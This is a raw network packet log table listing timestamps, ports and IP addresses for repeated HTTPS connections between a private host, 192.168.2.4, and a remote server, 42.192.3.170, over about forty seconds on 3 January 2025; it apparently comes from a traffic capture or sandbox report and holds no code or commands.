Jan 3, 2025 02:54:28.232311010 CET	443	50080	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:28.232362032 CET	443	50080	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:28.234951019 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:28.254113913 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:28.254139900 CET	443	50080	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:28.254261017 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:28.254973888 CET	50080	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:28.629839897 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:28.629879951 CET	443	50081	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:28.629945993 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:28.631642103 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:28.631658077 CET	443	50081	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:29.774725914 CET	443	50081	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:29.777040958 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:29.782958031 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:29.782958031 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:29.782968998 CET	443	50081	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:29.782982111 CET	443	50081	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:30.311038971 CET	443	50081	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:30.311079979 CET	443	50081	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:30.311172009 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:30.311456919 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:30.311456919 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:30.311470985 CET	443	50081	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:30.314651012 CET	50081	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:30.509251118 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:30.509294987 CET	443	50082	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:30.513164997 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:30.516962051 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:30.516977072 CET	443	50082	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:31.708705902 CET	443	50082	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:31.708847046 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:31.710721016 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:31.710721970 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:31.710733891 CET	443	50082	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:31.710752010 CET	443	50082	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:32.257613897 CET	443	50082	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:32.257661104 CET	443	50082	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:32.257746935 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:32.257746935 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:32.257999897 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:32.257999897 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:32.258022070 CET	443	50082	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:32.258121967 CET	50082	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:32.385205984 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:32.385243893 CET	443	50083	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:32.385337114 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:32.388962984 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:32.388973951 CET	443	50083	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:33.543610096 CET	443	50083	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:33.543668985 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:33.544107914 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:33.544116020 CET	443	50083	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:33.545552969 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:33.545557976 CET	443	50083	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:34.075795889 CET	443	50083	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:34.075850964 CET	443	50083	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:34.077552080 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:34.224708080 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:34.224708080 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:34.224730015 CET	443	50083	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:34.224864960 CET	50083	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:34.570283890 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:34.570312023 CET	443	50084	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:34.570928097 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:34.573784113 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:34.573795080 CET	443	50084	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:35.754420996 CET	443	50084	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:35.757293940 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:35.757882118 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:35.757886887 CET	443	50084	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:35.761203051 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:35.761208057 CET	443	50084	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:36.307924986 CET	443	50084	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:36.307976007 CET	443	50084	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:36.309539080 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:36.309539080 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:36.309592962 CET	50084	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:36.541064978 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:36.541132927 CET	443	50085	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:36.545464039 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:36.545464039 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:36.545505047 CET	443	50085	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:37.718405008 CET	443	50085	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:37.718497038 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:37.720168114 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:37.720168114 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:37.720179081 CET	443	50085	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:37.720196962 CET	443	50085	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:38.260746956 CET	443	50085	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:38.260797977 CET	443	50085	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:38.260827065 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:38.261013031 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:38.366938114 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:38.367055893 CET	50038	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:38.368000031 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:38.368027925 CET	443	50086	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:38.368110895 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:38.368397951 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:38.368408918 CET	443	50086	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:39.513060093 CET	443	50086	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:39.513123989 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:39.513696909 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:39.513703108 CET	443	50086	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:39.515065908 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:39.515069962 CET	443	50086	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:40.043306112 CET	443	50086	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:40.043359995 CET	443	50086	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:40.043497086 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:40.043742895 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:40.043742895 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:40.043757915 CET	443	50086	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:40.043869972 CET	50086	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:40.273133039 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:40.273190975 CET	443	50087	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:40.279046059 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:40.282963991 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:40.282983065 CET	443	50087	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:41.450826883 CET	443	50087	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:41.450880051 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:41.451502085 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:41.451514959 CET	443	50087	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:41.453285933 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:41.453293085 CET	443	50087	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:41.984736919 CET	443	50087	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:41.984785080 CET	443	50087	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:41.984895945 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:41.985335112 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:41.985336065 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:41.985363960 CET	443	50087	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:41.989706039 CET	50087	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:42.194976091 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:42.195022106 CET	443	50088	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:42.195333004 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:42.197989941 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:42.198009968 CET	443	50088	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:43.398257971 CET	443	50088	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:43.398318052 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:43.398874044 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:43.398886919 CET	443	50088	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:43.400597095 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:43.400604010 CET	443	50088	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:43.955267906 CET	443	50088	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:43.955321074 CET	443	50088	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:43.955408096 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:43.956099987 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:43.956099987 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:43.956123114 CET	443	50088	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:43.956255913 CET	50088	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:44.148355007 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:44.148391008 CET	443	50089	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:44.148574114 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:44.148853064 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:44.148860931 CET	443	50089	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:45.352485895 CET	443	50089	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:45.352869034 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:45.361540079 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:45.361547947 CET	443	50089	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:45.363039017 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:45.363044024 CET	443	50089	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:45.911284924 CET	443	50089	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:45.911338091 CET	443	50089	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:45.915061951 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:46.146783113 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:46.146800995 CET	443	50089	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:46.146853924 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:46.146987915 CET	50089	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:46.353466988 CET	50090	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:46.353518009 CET	443	50090	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:46.353625059 CET	50090	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:46.354231119 CET	50090	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:46.354248047 CET	443	50090	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:47.510978937 CET	443	50090	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:47.511034012 CET	50090	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:47.511590004 CET	50090	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:47.511599064 CET	443	50090	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:47.513272047 CET	50090	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:47.513278961 CET	443	50090	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:48.044213057 CET	443	50090	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:48.044259071 CET	443	50090	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:48.044290066 CET	50090	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:48.045038939 CET	50090	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:48.148180962 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:48.148196936 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:48.148196936 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:48.148216963 CET	443	50091	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:48.148293018 CET	443	50085	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:48.148516893 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:48.148524046 CET	50085	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:48.148736000 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:48.148746967 CET	443	50091	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:49.332319975 CET	443	50091	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:49.332376957 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:49.353544950 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:49.353554010 CET	443	50091	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:49.357652903 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:49.357657909 CET	443	50091	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:49.881583929 CET	443	50091	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:49.881640911 CET	443	50091	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:49.881800890 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:49.882083893 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:49.882083893 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:49.882098913 CET	443	50091	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:49.883483887 CET	50091	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:50.085963964 CET	50092	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:50.085999966 CET	443	50092	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:50.086209059 CET	50092	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:50.086489916 CET	50092	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:50.086502075 CET	443	50092	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:51.314418077 CET	443	50092	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:51.314481020 CET	50092	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:51.315126896 CET	50092	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:51.315134048 CET	443	50092	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:51.316921949 CET	50092	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:51.316926003 CET	443	50092	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:51.888912916 CET	443	50092	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:51.888961077 CET	443	50092	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:51.893039942 CET	50092	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:51.897069931 CET	50092	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:51.897084951 CET	443	50092	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:52.302998066 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:52.303052902 CET	443	50093	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:52.303251028 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:52.303634882 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:52.303653002 CET	443	50093	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:53.433115005 CET	443	50093	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:53.433161974 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:53.433743000 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:53.433756113 CET	443	50093	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:53.435693979 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:53.435698986 CET	443	50093	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:53.979780912 CET	443	50093	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:53.979825974 CET	443	50093	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:53.980015039 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:53.980746984 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:53.980746984 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:53.980768919 CET	443	50093	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:53.981031895 CET	50093	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:54.210484028 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:54.210522890 CET	443	50094	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:54.210887909 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:54.210887909 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:54.210916996 CET	443	50094	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:55.406610012 CET	443	50094	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:55.406668901 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:55.407427073 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:55.407435894 CET	443	50094	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:55.409791946 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:55.409800053 CET	443	50094	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:55.945950031 CET	443	50094	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:55.946001053 CET	443	50094	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:55.946085930 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:55.946360111 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:55.946360111 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:55.946372986 CET	443	50094	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:55.946898937 CET	50094	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:56.116997004 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:56.117038965 CET	443	50095	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:56.121206045 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:56.125291109 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:56.125313997 CET	443	50095	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:57.301155090 CET	443	50095	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:57.301211119 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:57.301888943 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:57.301893950 CET	443	50095	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:57.305655003 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:57.305660009 CET	443	50095	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:57.851377010 CET	443	50095	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:57.851423025 CET	443	50095	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:57.853070021 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:57.862322092 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:57.862322092 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:57.862340927 CET	443	50095	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:57.862464905 CET	50095	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:58.117404938 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:58.117433071 CET	443	50096	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:58.117548943 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:58.117914915 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:58.117923975 CET	443	50096	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:59.322323084 CET	443	50096	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:59.322381020 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:59.322798014 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:59.322805882 CET	443	50096	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:59.324589014 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:59.324594021 CET	443	50096	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:59.879309893 CET	443	50096	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:59.879367113 CET	443	50096	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:59.879462004 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:59.879837036 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:59.879853964 CET	443	50096	42.192.3.170	192.168.2.4
Jan 3, 2025 02:54:59.879887104 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:54:59.879923105 CET	50096	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:00.009099960 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:00.009155035 CET	443	50097	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:00.009351969 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:00.013360977 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:00.013377905 CET	443	50097	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:01.191971064 CET	443	50097	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:01.192035913 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.192657948 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.192672014 CET	443	50097	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:01.194633007 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.194641113 CET	443	50097	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:01.744523048 CET	443	50097	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:01.744586945 CET	443	50097	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:01.747384071 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.747384071 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.747478008 CET	50097	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.855014086 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.855052948 CET	443	50098	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:01.859105110 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.863024950 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:01.863035917 CET	443	50098	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:03.050638914 CET	443	50098	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:03.050729990 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.051758051 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.051768064 CET	443	50098	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:03.054526091 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.054529905 CET	443	50098	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:03.601948977 CET	443	50098	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:03.602010012 CET	443	50098	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:03.602061987 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.602061987 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.603517056 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.603517056 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.603535891 CET	443	50098	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:03.603590965 CET	50098	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.729234934 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.729290962 CET	443	50099	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:03.729434967 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.729948044 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:03.729963064 CET	443	50099	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:04.940187931 CET	443	50099	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:04.940277100 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:04.940737009 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:04.940748930 CET	443	50099	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:04.942094088 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:04.942099094 CET	443	50099	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:05.496470928 CET	443	50099	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:05.496525049 CET	443	50099	42.192.3.170	192.168.2.4
